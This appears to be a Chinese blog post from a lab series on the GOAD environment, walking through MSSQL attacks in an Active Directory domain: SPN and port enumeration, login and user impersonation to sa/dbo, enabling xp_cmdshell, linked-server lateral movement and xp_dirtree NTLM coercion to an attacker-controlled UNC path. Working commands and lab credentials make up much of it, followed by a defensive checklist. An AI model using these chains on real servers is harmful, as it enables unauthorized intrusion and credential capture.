前几篇我们已经把域用户、Kerberoasting、Responder/Relay、NoPAC、SMB 反射和 AD CS 都过了一遍。这一篇不继续追新洞,回头看一个内网里经常被忽略、但非常适合串攻击链的服务:MSSQL

很多人打 SQL Server 时只盯着一句话:能不能连上 1433。其实在域环境里,MSSQL 更像一个权限中转站。它有服务账号,有 SPN,有 SQL Login 和 Database User,有 IMPERSONATE,还有 linked server。你当前登录的账号可能权限很低,但它通过某个映射跑到另一台 SQL Server 上以后,身份可能就完全变了。

系列进度: 第 6/6 篇|上一篇:ADCS 域提权:从 ESC1 到 ESC16|系列起点:内网扫描、域控识别与初始域用户获取

实验范围: 文中的域名、账号、IP 和 MSSQL 配置均来自 GOAD 靶场。涉及开启 xp_cmdshell 的地方,验证完要关回去,避免把环境状态改脏。

这篇文章会学到什么

  • 怎么从 SPN 和端口两个角度确认 MSSQL 攻击面
  • 怎么判断域账号到底能不能登录 SQL Server
  • SQL LoginDatabase User 的区别
  • execute as login 模拟登录后,怎么继续用 xp_cmdshell 执行系统命令
  • execute as user 为什么不能只看当前数据库权限
  • linked server 怎么把一台 SQL Server 的权限带到另一台机器
  • xp_cmdshell whoami 出来的到底是谁
  • MSSQL 后续如何衔接 NTLM coercion / relay 思路

输入与产出

这篇文章默认我们已经拿到了前几篇里的普通域账号,不重新讲密码怎么来的。

账号 来源 这篇文章里的用途
NORTH\brandon.stark:iseedeadpeople Part1 / Part2 枚举 SPN,确认 MSSQLSvc 服务账号
NORTH\samwell.tarly:Heartsbane Part1 登录 CASTELBLACK,验证 execute as login sa
NORTH\arya.stark:Needle GOAD 账号 验证 msdb 里的 execute as user dbo
NORTH\jon.snow:iknownothing Part2 CASTELBLACK 通过 linked server 横向到 BRAAVOS
ESSOS\khal.drogo:horse Part5 BRAAVOS 反向 linked server 打 CASTELBLACK

最终要证明的不是“能连 SQL”,而是下面几个问题:

  1. 哪些 SQL Server 真实在线?
  2. 当前域用户能不能登录?
  3. 登录以后有没有 IMPERSONATE 或 linked server?
  4. 如果能执行系统命令,命令落在哪台主机、哪个 Windows 身份下?

MSSQL 攻击路径选择

这次主要验证四条路径:

路径 入口账号 入口 SQL 关键点 最终效果
SPN 枚举 brandon.stark 域控 LDAP/Kerberos 找到 MSSQLSvc 服务账号 确认 SQL Server 和服务账号
Login impersonate samwell.tarly CASTELBLACK IMPERSONATE sa CASTELBLACK 上执行命令
User impersonate arya.stark CASTELBLACK msdbexecute as user dbo CASTELBLACK 上执行命令
Linked server jon.snow / khal.drogo CASTELBLACK / BRAAVOS 本地登录映射到远端 sa 跨 SQL Server 执行命令

这里先把方向说清楚:MSSQL 不是一条直线,而是一张网。一个账号在 A 上看着没什么权限,但如果 A 能代表它访问 B,或者它能在 A 上模拟 sa,后面的结果就完全不一样了。

枚举 MSSQL 攻击面

通过 SPN 发现 SQL Server

前面 Kerberoasting 时已经用过 GetUserSPNs。这里再单独拿出来看一次,因为 SQL Server 如果使用域账号跑服务,通常会注册 MSSQLSvc SPN。

1
2
3
4
5
impacket-GetUserSPNs north.sevenkingdoms.local/brandon.stark:iseedeadpeople \
-dc-ip 192.168.56.11

impacket-GetUserSPNs -target-domain essos.local \
north.sevenkingdoms.local/brandon.stark:iseedeadpeople

通过 SPN 枚举发现 MSSQLSvc 服务账号

这里重点看两类信息:

  • MSSQLSvc/castelblack.north.sevenkingdoms.local,服务账号是 sql_svc
  • MSSQLSvc/braavos.essos.local,服务账号也是 sql_svc

这个信息后面会用上。因为 xp_cmdshell 最后跑出来的 Windows 身份,通常不是你登录 SQL 的域用户,而是 SQL Server 服务账号。

通过端口确认服务存活

SPN 只能说明域里注册过服务,不代表现在一定在线。所以还要从端口侧确认一下。

1
nmap -p 1433 -sV -sC 192.168.56.10-23

使用 nmap 发现 GOAD 中开放的 MSSQL 服务

当前环境里只有两台机器开放 1433:

  • CASTELBLACK.north.sevenkingdoms.local192.168.56.22
  • BRAAVOS.essos.local192.168.56.23

这样 SPN 和端口就对上了。后面我们就围绕这两台 SQL Server 展开。

验证域账号能否登录 MSSQL

拿到域账号以后,不要直接假设它能登录 SQL。先用 nxc mssql 扫一遍。

1
2
3
4
5
nxc mssql 192.168.56.22-23 \
-u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local

nxc mssql 192.168.56.22-23 \
-u khal.drogo -p horse -d essos.local

使用 nxc 验证域账号登录 MSSQL

这里能看到两个比较有价值的结果:

  • NORTH\samwell.tarly 可以登录 CASTELBLACKBRAAVOS
  • ESSOS\khal.drogoBRAAVOS 上显示 Pwn3d!

Pwn3d! 不等于已经拿到系统 shell,但基本说明这个 SQL 登录权限很高。后面实际验证也能看到,khal.drogoBRAAVOS 上确实能走到高权限操作。

分清 Login 和 User

开始打之前,先把 MSSQL 里两个概念分清楚,不然后面 execute as loginexecute as user 很容易混。

概念 所在层级 作用
Login SQL Server 实例级别 决定你能不能连进这个 SQL Server
User 数据库级别 决定你在某个具体数据库里能做什么

所以会出现一种情况:你用域账号成功登录了 SQL Server,但进到某个数据库里只是 guest。这时你“能连上”,不等于“权限很高”。

先用 samwell.tarlyCASTELBLACK 看一下。

1
2
impacket-mssqlclient -windows-auth \
north.sevenkingdoms.local/samwell.tarly:Heartsbane@192.168.56.22

进去以后执行:

1
2
3
select @@servername;
select SYSTEM_USER;
select USER_NAME();

使用 mssqlclient 查看当前 SQL Server 身份

结果是:

  • SQL Server:CASTELBLACK\SQLEXPRESS
  • Login:NORTH\samwell.tarly
  • User:guest

这说明 samwell.tarly 可以登录实例,但当前数据库里的用户权限并不高。下一步就要看有没有额外授权,尤其是 IMPERSONATE

利用 impersonate 执行命令

模拟 SQL Login:execute as login

mssqlclient.py 自带 enum_impersonate,它会帮我们查当前身份可以模拟哪些 SQL Login 或 Database User。

1
2
3
enum_impersonate
exec_as_login sa
select SYSTEM_USER;

枚举 MSSQL impersonate 并切换到 sa

关键是这行:

1
IMPERSONATE  GRANT  NORTH\samwell.tarly  sa

意思是 samwell.tarly 可以执行:

1
EXECUTE AS LOGIN = 'sa';

切换以后再看当前登录身份:

1
select SYSTEM_USER;

返回就是 sa

这里一定要分清:这个“模拟”不是拿 Windows token,也不是直接变成域管。它模拟的是 SQL Server 的 Login 上下文。它真正的价值是:后面的 SQL 语句会以 sa 权限执行。

所以打法不是“模拟完就结束”,而是要继续往命令执行走:

1
2
3
4
exec_as_login sa
select SYSTEM_USER;
enable_xp_cmdshell
xp_cmdshell whoami

先确认自己已经是 sa,再开 xp_cmdshell。如果不做这一步,你还是原来的低权限 SQL 登录,很多动作都会被拒绝。

使用 xp_cmdshell 执行系统命令

有了 sa 以后,最直接的验证方式就是开启 xp_cmdshell

1
2
3
4
5
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoami
xp_cmdshell hostname
disable_xp_cmdshell

通过 xp_cmdshell 在 CASTELBLACK 上执行系统命令

这里结果很关键:

1
2
north\sql_svc
castelblack

也就是说:

  • SQL 层面我们是 sa
  • Windows 命令执行层面是 north\sql_svc
  • 命令实际落在 CASTELBLACK

这也是前面为什么要枚举 SPN。MSSQLSvc 的服务账号是 sql_svc,最后 xp_cmdshell whoami 出来的也是它。

打到这里以后,不要脑补成“已经域管”。下一步应该继续看 north\sql_svc 在本机和域里的权限,比如本地管理员、可访问共享、明文配置、委派、SPN、是否能触发 NTLM 等。

模拟数据库用户:execute as user

除了 execute as login,还有一种容易被忽略的是 execute as user

这次换 arya.stark:Needle 登录 CASTELBLACK。她在 mastermsdb 里都有对 dbo 的 impersonate 权限。

1
2
impacket-mssqlclient -windows-auth \
north.sevenkingdoms.local/arya.stark:Needle@192.168.56.22

进入以后:

1
2
3
4
5
6
7
use msdb
enum_impersonate
exec_as_user dbo
select USER_NAME();
enable_xp_cmdshell
xp_cmdshell whoami
disable_xp_cmdshell

通过 msdb 中的 dbo 用户模拟执行 xp_cmdshell

这里为什么要特意进 msdb?因为 execute as user 切的是数据库用户上下文,不是实例级 Login。不同数据库里的 dbo、所有者、TRUSTWORTHY、模块签名和 SQL Agent 组合起来,可能会把数据库级权限继续带到实例级动作上。

简单记就是:

  • execute as login 影响的是实例级 Login 上下文
  • execute as user 影响的是当前数据库里的 User 上下文
  • 只有在合适的数据库和权限组合下,execute as user 才能继续变成更高权限动作

这条链不一定每个环境都成立,但 GOAD 里可以打通。它提醒我们:枚举 impersonate 时不要只盯 LOGINUSER 也要看。

利用 Linked Server 横向

从 CASTELBLACK 横向到 BRAAVOS

MSSQL 的 linked server 很适合做横向。危险点在于:你连的是 A,但 SQL 可以让 A 去访问 B,而且中间可能配置了固定远程登录。

先在 CASTELBLACK 上用 jon.snow 登录:

1
2
impacket-mssqlclient -windows-auth \
north.sevenkingdoms.local/jon.snow:iknownothing@192.168.56.22

查看 linked server:

1
enum_links

这里能看到 BRAAVOS 这个 linked server,而且有一条映射:

1
BRAAVOS  NORTH\jon.snow  ->  sa

然后直接切过去执行命令:

1
2
3
4
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
disable_xp_cmdshell

通过 CASTELBLACK 的 linked server 横向到 BRAAVOS

结果是:

1
essos\sql_svc

这说明入口虽然在 NORTH 域的 CASTELBLACK,但命令已经落到 ESSOS 域的 BRAAVOS 上了。

这类配置在实际环境里很危险,因为它绕过了“我有没有远端 SQL 密码”的问题。你不需要知道远端 sa 密码,只要 linked server 已经帮你映射好了。

从 BRAAVOS 反向打 CASTELBLACK

反过来也可以。从 BRAAVOSkhal.drogo 登录,枚举 linked server。

1
2
impacket-mssqlclient -windows-auth \
essos.local/khal.drogo:horse@192.168.56.23
1
enum_links

枚举 BRAAVOS 上的 linked server 配置

这里能看到:

1
CASTELBLACK  ESSOS\khal.drogo  ->  sa

也就是说,khal.drogoBRAAVOS 访问 CASTELBLACK 时,远端会映射为 sa

继续:

1
2
3
4
5
6
use_link CASTELBLACK
enum_logins
enable_xp_cmdshell
xp_cmdshell whoami
xp_cmdshell hostname
disable_xp_cmdshell

通过 linked server 在 CASTELBLACK 上执行 xp_cmdshell

输出里 hostname 是:

1
castelblack

whoami 是:

1
north\sql_svc

所以这条链的方向是:

1
ESSOS\khal.drogo -> BRAAVOS SQL -> linked server -> CASTELBLACK SQL -> xp_cmdshell -> north\sql_svc

看 linked server 时一定要把方向标清楚。不然你很容易搞不清楚:当前登录的是谁、远端映射成谁、命令到底在哪台机器上执行。

常用 SQL 与后续扩展

mssqlclient 常用命令背后的 SQL

mssqlclient.py 的快捷命令很好用,但最好知道它背后大概做了什么。这样工具坏了,或者遇到只能执行原生 SQL 的入口,也不至于卡死。

比如:

1
exec_as_login sa

背后就是类似:

1
EXECUTE AS LOGIN = 'sa';

enable_xp_cmdshell 背后就是:

1
2
3
4
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

use_link BRAAVOS 后面再执行命令,本质上就是把 SQL 包进:

1
EXEC ('...') AT BRAAVOS;

所以排查 MSSQL 权限时,我一般会把工具命令和原生 SQL 对应起来看。工具只是帮你少敲几行,真正决定能不能打通的还是 SQL Server 当前上下文和服务配置。

触发 SQL Server 出站 NTLM

MSSQL 还经常被用来触发出站 NTLM,例如:

1
2
xp_dirtree \\192.168.56.128\share\test
xp_fileexist \\192.168.56.128\share\test

思路是让 SQL Server 服务账号去访问我们控制的 UNC 路径。正常情况下,Kali 上用 Responder、ntlmrelayx 或 SMB server 可以观察到来自 SQL Server 服务账号的认证。

不过我这次在当前 GOAD 状态里没有把 xp_dirtree 回连稳定复现出来,所以这里不贴成功图,也不写成已验证链路。这个点可以作为下一步扩展:如果能稳定拿到 north\sql_svcessos\sql_svc 的 NTLM,再考虑接 SMB/LDAP/ADCS relay。

排查顺序可以这样来:

  1. Kali 监听 IP 是否写对,这里是 192.168.56.128
  2. Kali 的 445 端口有没有被别的进程占用
  3. SQL Server 主机是否允许出站 SMB
  4. SQL Server 服务账号是否真的访问 UNC
  5. xp_fileexistBACKUP DATABASE TO DISKBULK INSERT 等触发点再试

和前几篇攻击链怎么串

MSSQL 这篇不是孤立的,它可以和前面的东西串起来:

  • Part1 / Part2 拿到的 samwell.tarlyjon.snowbrandon.stark,可以用于登录 SQL 或枚举 SPN
  • Part2 的 Kerberoasting 可以关注 MSSQLSvc 服务账号
  • Part3 的 NTLM Relay 思路可以接 MSSQL 出站认证
  • Part4 的横向移动结果可以反过来验证 SQL 主机权限
  • Part5 的 AD CS 可以继续和 SQL 服务账号、机器账号组合

所以 MSSQL 的重点不是某一条命令,而是它提供了一个域内“权限中转站”。你要把 SQL 登录、数据库用户、服务账号、linked server 和域权限关系画清楚,后面横向移动才不会乱。

防守侧检查清单

MSSQL 这类问题修的时候也不能只关一个开关。建议重点检查:

  • 禁用不必要的 xp_cmdshell,确实要用也要有审批和审计
  • 清理普通账号到 saIMPERSONATE 权限
  • 检查数据库级 execute as user,特别是 dbomsdbTRUSTWORTHY 组合
  • linked server 不要配置高权限固定映射,更不要跨域映射到 sa
  • SQL Server 服务账号不要是域高权限账号
  • 限制 SQL Server 主机出站 SMB/NTLM
  • 监控 sp_configure 'xp_cmdshell'EXECUTE AS LOGINEXEC (...) AT linked_server
  • 定期导出 sys.server_permissionssys.linked_loginssys.servers 做基线对比

常见问题

execute as login 是不是等于拿到了 Windows token?

不是。它切的是 SQL Server 的 Login 上下文。只有当这个上下文有权限开启或调用 xp_cmdshell 时,才会进一步变成系统命令执行。命令执行时的 Windows 身份通常是 SQL Server 服务账号。

linked server 的命令到底在哪台机器上执行?

use_link 后面指向哪台远端 SQL Server,再用 xp_cmdshell hostname 验证。不要只看你最开始连的是哪台机器,linked server 会把执行点带到远端。

Pwn3d! 是否一定代表能执行系统命令?

不一定。它说明当前 SQL 权限很高,但还要继续验证 xp_cmdshell 是否可开启、命令是否执行成功,以及 whoamihostname 的结果。

本文小结

这一篇没有追求“一个命令梭哈”,而是把 MSSQL 当成域内攻击面完整过了一遍:

  • 通过 SPN 和 1433 发现 CASTELBLACKBRAAVOS
  • nxc mssql 验证哪些域账号能登录
  • samwell.tarly 通过 execute as login sa 拿到 SQL 高权限
  • arya.stark 通过 msdb 里的 execute as user dbo 打通另一条路径
  • jon.snowCASTELBLACK 横向到 BRAAVOS
  • khal.drogoBRAAVOS 反向横向到 CASTELBLACK
  • 最终通过 xp_cmdshell 确认命令执行落在哪台主机、哪个服务账号下

打 MSSQL 最怕只看 whoami。真正要看的,是 SQL Login、Database User、SQL Server 服务账号、linked server 映射和域权限之间的关系。把这些关系画清楚,后面的利用才会顺很多。

参考资料:

下一步

下一篇我倾向继续顺着 CASTELBLACK 往下写:IIS 上传、WebShell、落地以后如何做 Windows 本地提权。这样可以从这一篇的 MSSQL 命令执行,自然接到 Web 和主机侧的利用。